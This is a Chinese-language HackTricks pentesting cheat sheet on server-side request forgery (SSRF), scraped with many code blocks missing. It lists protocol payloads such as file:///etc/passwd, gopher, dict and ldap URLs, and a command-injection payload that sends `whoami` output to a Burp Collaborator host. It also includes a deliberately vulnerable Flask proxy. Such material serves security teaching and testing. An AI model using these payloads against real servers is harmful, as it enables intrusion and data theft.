SSRF (Server Side Request Forgery)

使用Trickestarrow-up-right 来轻松构建和自动化工作流,使用世界上最先进的社区工具。 立即获取访问权限:

chevron-right从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)arrow-up-righthashtag

支持HackTricks的其他方式:

基本信息

服务器端请求伪造(SSRF)漏洞发生在攻击者操纵服务器端应用程序以向其选择的域发出HTTP请求时。此漏洞使服务器暴露于攻击者指定的任意外部请求之中。

捕获SSRF

您需要做的第一件事是捕获您生成的SSRF交互。您可以使用工具来捕获HTTP或DNS交互,例如:

绕过白名单域

通常您会发现SSRF仅在特定的白名单域或URL中起作用。在以下页面中,您可以找到绕过白名单的技术汇编:

URL Format Bypasschevron-right

通过开放重定向绕过

如果服务器受到正确保护,您可以通过利用网页内的开放重定向来绕过所有限制。因为网页将允许对同一域的SSRF,并且可能会跟随重定向,您可以利用开放重定向使服务器访问任何内部资源。 阅读更多信息:https://portswigger.net/web-security/ssrfarrow-up-right

协议

  • file://

  • URL方案file://指向/etc/passwdfile:///etc/passwd

  • dict://

  • DICT URL方案用于通过DICT协议访问定义或单词列表。给出的示例说明了一个构建的URL,针对特定单词、数据库和条目编号,以及一个PHP脚本可能被滥用以使用攻击者提供的凭据连接到DICT服务器:dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>

  • SFTP://

  • 作为安全文件传输的协议,提供了一个示例,展示了如何利用PHP脚本连接到恶意SFTP服务器:url=sftp://generic.com:11111/

  • TFTP://

  • 提到了通过UDP运行的Trivial File Transfer Protocol,提供了一个设计用于向TFTP服务器发送请求的PHP脚本示例。向'generic.com'的端口'12346'发送TFTP请求以获取文件'TESTUDPPACKET':ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET

  • LDAP://

  • 介绍了轻量级目录访问协议,强调其用于管理和访问分布式目录信息服务的IP网络。通过ssrf.php?url=ldap://localhost:11211/%0astats%0aquit与本地主机上的LDAP服务器进行交互。

  • SMTP

  • 描述了利用SSRF漏洞与本地主机上的SMTP服务进行交互的方法,包括揭示内部域名并基于该信息采取进一步的调查行动的步骤。

  • Curl URL globbing - WAF bypass

  • 如果 SSRF 是由 curl 执行的,curl 有一个称为 URL globbingarrow-up-right 的功能,可以用来绕过 WAF。例如,在这个 writeuparrow-up-right 中,你可以找到一个关于通过 file 协议进行 路径遍历 的示例:

  • Gopher://

  • 讨论了Gopher协议指定IP、端口和字节进行服务器通信的能力,以及使用Gopherus和remote-method-guesser等工具来构建有效负载。展示了两种不同的用途:

Gopher://

使用这个协议,您可以指定您希望服务器发送IP、端口和字节。然后,您基本上可以利用SSRF与任何TCP服务器通信(但您需要先了解如何与该服务进行通信)。 幸运的是,您可以使用Gopherusarrow-up-right为多个服务创建有效负载。此外,remote-method-guesserarrow-up-right可用于为Java RMI服务创建_gopher_有效负载。

Gopher smtp

Gopher HTTP

Gopher HTTP

Gopher SMTP — 反向连接到1337

Gopher MongoDB -- 使用用户名为admin、密码为admin123且权限为管理员创建用户

通过Referrer头部和其他方式进行SSRF攻击

服务器上的分析软件通常记录Referrer头部以跟踪传入链接,这种做法无意中使应用程序暴露于服务器端请求伪造(SSRF)漏洞。这是因为这类软件可能访问Referrer头部中提到的外部URL来分析引荐站点内容。为了发现这些漏洞,建议使用Burp Suite插件“Collaborator Everywhere”,利用分析工具处理Referer头部的方式来识别潜在的SSRF攻击面。

通过证书中的SNI数据进行SSRF攻击

通过一个示例Nginx配置展示了一种可能使连接到任何后端变得简单的错误配置:

在这个配置中,直接使用来自服务器名称指示(SNI)字段的值作为后端地址。这种设置暴露了服务器端请求伪造(SSRF)的漏洞,可以通过在SNI字段中简单指定所需的IP地址或域名来利用。下面是一个利用示例,使用openssl命令强制连接到任意后端,比如internal.host.com

SSRF与命令注入

值得尝试的有效负载可能是:url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

PDFs 渲染

如果网页自动创建了包含您提供信息的 PDF,您可以插入一些将由 PDF 创建者(服务器)执行的 JS,同时创建 PDF 时,您将能够滥用 SSRF。在此处查找更多信息.

从 SSRF 到 DoS

创建多个会话并尝试从会话中利用 SSRF 下载大文件。

SSRF PHP 函数

PHP SSRFchevron-right

SSRF 重定向到 Gopher

对于某些利用,您可能需要发送重定向响应(可能使用不同的协议,如 gopher)。这里有不同的 Python 代码来响应重定向:

使用Trickestarrow-up-right 可轻松构建并通过全球最先进的社区工具自动化工作流程。 立即获取访问权限:

配置错误的代理到 SSRF

来自此文章arrow-up-right的技巧。

Flask

chevron-rightFlask 代理易受攻击的代码hashtag

```python from flask import Flask from requests import get

app = Flask('main') SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''}) @app.route('/path:patharrow-up-right')

def proxy(path): return get(f'{SITE_NAME}{path}').content

if name == "main": app.run(threaded=False)

Spring Boot

易受攻击的代码:

发现可以通过在请求路径的开头使用字符 ;,然后使用 @ 注入新主机以访问。攻击请求:

PHP内置Web服务器

最后更新于